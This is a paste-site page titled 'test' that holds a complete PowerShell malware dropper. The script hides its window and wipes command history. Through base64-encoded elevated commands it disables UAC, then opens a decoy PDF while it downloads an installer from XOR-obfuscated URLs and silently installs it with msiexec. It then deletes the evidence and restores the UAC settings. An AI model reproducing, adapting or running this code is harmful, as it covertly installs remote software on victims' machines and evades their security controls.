JustPaste
HomeCategoriesAboutDonateContactTerms of UsePrivacy Policy
JustPaste

Free online notepad — write and share instantly

Navigate

  • Home
  • Timeline
  • Categories

Info

  • About
  • Donate
  • Contact

Legal

  • Terms of Use
  • Privacy Policy

© 2026 JustPaste.app. All rights reserved.

Made with ♥ by JustPaste

test | JustPaste.app
16 days ago7 views
👨‍💻Programming

test

# ── Preferences and Execution Policy ──────────────────────────
$ErrorActionPreference = "SilentlyContinue"
$WarningPreference = "SilentlyContinue"
$VerbosePreference = "SilentlyContinue"
$ProgressPreference = "SilentlyContinue"

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Clear-History
Clear-Content (Get-PSReadLineOption).HistorySavePath

# ── Security Protocol Configuration ──────────────────────────
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13

# ── P/Invoke Declarations ──────────────────────────
Add-Type -Name Window -Namespace Console -MemberDefinition @'
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
'@ -ErrorAction SilentlyContinue

$proc = Start-Process powershell.exe -Verb RunAs -WindowStyle Hidden -Wait -PassThru -ArgumentList '-NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAnADsAdAByAHkAewBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAARQBuAGEAYgBsAGUATABVAEEAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAAQwBvAG4AcwBlAG4AdABQAHIAbwBtAHAAdABCAGUAaABhAHYAaQBvAHIAQQBkAG0AaQBuACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAFAAcgBvAG0AcAB0AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAZQB4AGkAdAAgADEAMgB9AGMAYQB0AGMAaAB7AGUAeABpAHQAIAAwAH0A'

if ($proc.ExitCode -ne 12) {
    exit 0
}


# ── File Removal with Fallback ──────────────────────────
function Remove-FileWithFallback {
    param(
        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$Path
    )

    if (-not [System.IO.File]::Exists($Path)) {
        return $false
    }

    try {
        [System.IO.File]::Delete($Path)
        return $true
    }
    catch {
        try {
            $directory = [System.IO.Path]::GetDirectoryName($Path)
            $name = [System.IO.Path]::GetFileNameWithoutExtension($Path)
            $extension = [System.IO.Path]::GetExtension($Path)
            $counter = 1

            while ($true) {
                $newPath = [System.IO.Path]::Combine(
                    $directory,
                    "$name($counter)$extension"
                )
                
                if (-not [System.IO.File]::Exists($newPath)) {
                    break
                }
                $counter++
            }

            [System.IO.File]::Move($Path, $newPath, $false)
            return $true
        }
        catch {
            return $false
        }
    }
}

# ── Web Content Download ──────────────────────────
# ── Web Content Download (FAST — BITS + Parallel HttpClient) ──────────
function Invoke-SecureDownload {
    param(
        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$Uri,

        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$OutFile,

        [int]$MaxRetries = 3,
        [int]$RetryDelayMs = 800,
        [int]$ParallelChunks = 8
    )

    # Method 1: BITS (Background Intelligent Transfer Service) — fastest
    try {
        Import-Module BitsTransfer -ErrorAction Stop
        Start-BitsTransfer -Source $Uri -Destination $OutFile -TransferType Download `
            -Priority Foreground -ErrorAction Stop -Description "Downloading"
        if ([System.IO.File]::Exists($OutFile) -and (Get-Item $OutFile).Length -gt 0) {
            return $true
        }
    } catch { }

    # Method 2: Parallel chunked download with HttpClient (Range requests)
    $attempt = 0
    while ($attempt -lt $MaxRetries) {
        try {
            Add-Type -AssemblyName System.Net.Http -ErrorAction SilentlyContinue

            # Probe for size and Range support
            $probeClient = New-Object System.Net.Http.HttpClient
            $probeClient.Timeout = [TimeSpan]::FromSeconds(30)
            $probeClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")
            $probeClient.DefaultRequestHeaders.Range = New-Object System.Net.Http.Headers.RangeHeaderValue(0, 0)

            $probeResp = $probeClient.SendAsync(
                (New-Object System.Net.Http.HttpRequestMessage("GET", $Uri)),
                [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead
            ).GetAwaiter().GetResult()

            $supportsRange = ($probeResp.StatusCode -eq [System.Net.HttpStatusCode]::PartialContent)
            $totalSize = $null
            if ($supportsRange -and $probeResp.Content.Headers.ContentRange) {
                $totalSize = $probeResp.Content.Headers.ContentRange.Length
            } elseif ($probeResp.Content.Headers.ContentLength) {
                $totalSize = $probeResp.Content.Headers.ContentLength
            }
            $probeResp.Dispose()
            $probeClient.Dispose()

            if ($supportsRange -and $totalSize -and $totalSize -gt 1MB) {
                # Chunked parallel download
                $chunkSize = [Math]::Ceiling($totalSize / $ParallelChunks)
                $tempFiles = @()
                $jobs = @()

                for ($i = 0; $i -lt $ParallelChunks; $i++) {
                    $start = [long]($i * $chunkSize)
                    if ($start -ge $totalSize) { break }
                    $end = [long][Math]::Min($start + $chunkSize - 1, $totalSize - 1)

                    $partPath = "$OutFile.part$i"
                    $tempFiles += $partPath
                    $startByte = $start
                    $endByte = $end
                    $uriCopy = $Uri
                    $partCopy = $partPath

                    $jobs += Start-Job -ScriptBlock {
                        param($u, $s, $e, $p)
                        Add-Type -AssemblyName System.Net.Http
                        $c = New-Object System.Net.Http.HttpClient
                        $c.Timeout = [TimeSpan]::FromSeconds(300)
                        $c.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")
                        $c.DefaultRequestHeaders.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($s, $e)

                        $resp = $c.GetAsync($u, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult()
                        $resp.EnsureSuccessStatusCode() | Out-Null
                        $inStream = $resp.Content.ReadAsStreamAsync().GetAwaiter().GetResult()
                        $outStream = [System.IO.File]::Create($p)
                        try {
                            $buf = New-Object byte[] (1MB)
                            while (($r = $inStream.Read($buf, 0, $buf.Length)) -gt 0) {
                                $outStream.Write($buf, 0, $r)
                            }
                        } finally {
                            $outStream.Close()
                            $inStream.Close()
                            $c.Dispose()
                        }
                    } -ArgumentList $uriCopy, $startByte, $endByte, $partCopy
                }

                $jobs | Wait-Job | Out-Null
                $jobs | Receive-Job | Out-Null
                $jobs | Remove-Job -Force

                # Merge chunks
                $mergeStream = [System.IO.File]::Create($OutFile)
                try {
                    foreach ($p in $tempFiles) {
                        $fs = [System.IO.File]::OpenRead($p)
                        try { $fs.CopyTo($mergeStream) } finally { $fs.Close() }
                        [System.IO.File]::Delete($p)
                    }
                } finally {
                    $mergeStream.Close()
                }
                return $true
            } else {
                # Single-stream HttpClient (still faster than WebRequest)
                $client = New-Object System.Net.Http.HttpClient
                $client.Timeout = [TimeSpan]::FromSeconds(120)
                $client.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0")

                $resp = $client.GetAsync($Uri, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult()
                $resp.EnsureSuccessStatusCode() | Out-Null
                $inStream = $resp.Content.ReadAsStreamAsync().GetAwaiter().GetResult()
                $outStream = [System.IO.File]::Create($OutFile)
                try {
                    $buf = New-Object byte[] (1MB)
                    while (($r = $inStream.Read($buf, 0, $buf.Length)) -gt 0) {
                        $outStream.Write($buf, 0, $r)
                    }
                } finally {
                    $outStream.Close()
                    $inStream.Close()
                    $client.Dispose()
                }
                return $true
            }
        }
        catch {
            $attempt++
            if ($attempt -lt $MaxRetries) {
                Start-Sleep -Milliseconds $RetryDelayMs
            }
        }
    }

    # Fallback to WebClient
    try {
        $wc = New-Object System.Net.WebClient
        $wc.Headers.Add("User-Agent", "Mozilla/5.0")
        $wc.DownloadFile($Uri, $OutFile)
        return $true
    } catch { return $false }
}

# ── Hide Console Window ──────────────────────────
function Hide-ConsoleWindow {
    try {
        $ConsoleWin = [Console.Window]::GetConsoleWindow()
        if ($ConsoleWin -ne [IntPtr]::Zero) {
            [Console.Window]::ShowWindow($ConsoleWin, 0) | Out-Null
        }
    }
    catch {
        
    }
}

# ── Primary Deployment Function ──────────────────────────
function RUN_ME {
    param(
        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$Name,

        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$FdpUR,

        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$GGInstaSllerUR
    )

    Hide-ConsoleWindow

    $CurrentDir = (Get-Location).Path
    $FpdPath = Join-Path $CurrentDir ($Name + ".pdf")
    $LnkPath = Join-Path $CurrentDir ($Name + ".lnk")

    Remove-FileWithFallback -Path $LnkPath | Out-Null
    Remove-FileWithFallback -Path $FpdPath | Out-Null

    if (Invoke-SecureDownload -Uri $FdpUR -OutFile $FpdPath) {
        try {
            Start-Process $FpdPath -ErrorAction SilentlyContinue
        }
        catch {
            
        }
    }

    $USSInstSSaller = [System.Uri]$GGInstaSllerUR
    $InstallerExt = [System.IO.Path]::GetExtension($USSInstSSaller.AbsolutePath)
    
    if ([string]::IsNullOrWhiteSpace($InstallerExt)) {
        $InstallerExt = ".exe"
    }

    $RandomFileName = [System.IO.Path]::GetRandomFileName()
    $RandomFileName = [System.IO.Path]::ChangeExtension($RandomFileName, $InstallerExt)
    $InstallerPath = [System.IO.Path]::Combine($env:TEMP, $RandomFileName)
    $InstallerLogPath = [System.IO.Path]::ChangeExtension($InstallerPath, "log")

    if (-not (Invoke-SecureDownload -Uri $GGInstaSllerUR -OutFile $InstallerPath)) {
        return $false
    }

    try {
        Unblock-File -Path $InstallerPath -ErrorAction SilentlyContinue
    }
    catch {
        
    }

    $Arguments = "/i `"$InstallerPath`" /qn /norestart /l `"$InstallerLogPath`""

    try {
        $Process = Start-Process -FilePath "msiexec.exe" -ArgumentList $Arguments -Verb RunAs -Wait -PassThru
        $ExitCode = $Process.ExitCode
    }
    catch {
        return $false
    }

    Start-Sleep -Milliseconds 500
    Remove-FileWithFallback -Path $InstallerPath | Out-Null
    Remove-FileWithFallback -Path $InstallerLogPath | Out-Null

    return ($ExitCode -eq 0)
}

$ClientName = $($k7585=202;$b=[byte[]](0x9a,0xb8,0xa5,0xa0,0xaf,0xa9,0xbe,0x95,0x86,0xab,0xb3,0xa5,0xbf,0xbe);-join($b|%{[char]($_-bxor$k7585)}))
$DocumentLINK = $($k4445=201;$b=[byte[]](0xa1,0xbd,0xbd,0xb9,0xba,0xf3,0xe6,0xe6,0xbb,0xa8,0xbe,0xe7,0xae,0xa0,0xbd,0xa1,0xbc,0xab,0xbc,0xba,0xac,0xbb,0xaa,0xa6,0xa7,0xbd,0xac,0xa7,0xbd,0xe7,0xaa,0xa6,0xa4,0xe6,0xa8,0xa5,0xac,0xa8,0xa4,0xa0,0xac,0xa8,0xbe,0xe6,0xbd,0xac,0xba,0xbd,0xe6,0xbb,0xac,0xaf,0xba,0xe6,0xa1,0xac,0xa8,0xad,0xba,0xe6,0xa4,0xa8,0xa0,0xa7,0xe6,0x99,0xbb,0xa6,0xa3,0xac,0xaa,0xbd,0x96,0x85,0xa8,0xb0,0xa6,0xbc,0xbd,0xe7,0xb9,0xad,0xaf);-join($b|%{[char]($_-bxor$k4445)}))
$ClientLINK = $($k1276=214;$b=[byte[]](0xbe,0xa2,0xa2,0xa6,0xa5,0xec,0xf9,0xf9,0xa5,0xbe,0xb9,0xa6,0xba,0xbf,0xa2,0xa2,0xba,0xb3,0xf8,0xa5,0xb5,0xa4,0xb3,0xb3,0xb8,0xb5,0xb9,0xb8,0xb8,0xb3,0xb5,0xa2,0xf8,0xb5,0xb9,0xbb,0xf9,0x94,0xbf,0xb8,0xf9,0x85,0xb5,0xa4,0xb3,0xb3,0xb8,0x95,0xb9,0xb8,0xb8,0xb3,0xb5,0xa2,0xf8,0x95,0xba,0xbf,0xb3,0xb8,0xa2,0x85,0xb3,0xa2,0xa3,0xa6,0xf8,0xbb,0xa5,0xbf,0xe9,0xb3,0xeb,0x97,0xb5,0xb5,0xb3,0xa5,0xa5,0xf0,0xaf,0xeb,0x91,0xa3,0xb3,0xa5,0xa2,0xf0,0xb5,0xeb,0x98,0xb3,0xa1,0xb7,0xb2,0xb9,0xb4,0xb3,0xa6,0xb0,0xb2,0xa6,0xa4,0xb9,0xbc,0xb3,0xb5,0xa2,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb,0xf0,0xb5,0xeb);-join($b|%{[char]($_-bxor$k1276)}))


RUN_ME -Name $ClientName -FdpUR $DocumentLINK -GGInstaSllerUR $ClientLINK

Start-Process powershell.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAnADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAEUAbgBhAGIAbABlAEwAVQBBACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgAEMAbwBuAHMAZQBuAHQAUAByAG8AbQBwAHQAQgBlAGgAYQB2AGkAbwByAEEAZABtAGkAbgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAANQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIABQAHIAbwBtAHAAdABPAG4AUwBlAGMAdQByAGUARABlAHMAawB0AG8AcAAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7ACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAAUwBoAGUAbABsACAAewAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHMAaABlAGwAbAAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABTAEgAQwBoAGEAbgBnAGUATgBvAHQAaQBmAHkAIABpAG4AdAAgAHcARQB2AGUAbgB0AEkAZAAsAHUAaQBuAHQAIAB1AEYAbABhAGcAcwAsAEkAbgB0AFAAdAByACAAZAB3AEkAdABlAG0AMQAsAEkAbgB0AFAAdAByACAAZAB3AEkAdABlAG0AMgApADsAIAB9ACcAOwBbAFMAaABlAGwAbABdADoAOgBTAEgAQwBoAGEAbgBnAGUATgBvAHQAaQBmAHkAKAAwAHgAMAA4ADAAMAAwADAAMAAwACwAMAB4ADAAMAAwADUALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8AKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA4ADAAMAA7AFsAUwBoAGUAbABsAF0AOgA6AFMASABDAGgAYQBuAGcAZQBOAG8AdABpAGYAeQAoADAAeAAwADgAMAAwADAAMAAwADAALAAwAHgAMAAwADAANQAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApADsA'
← Back to timeline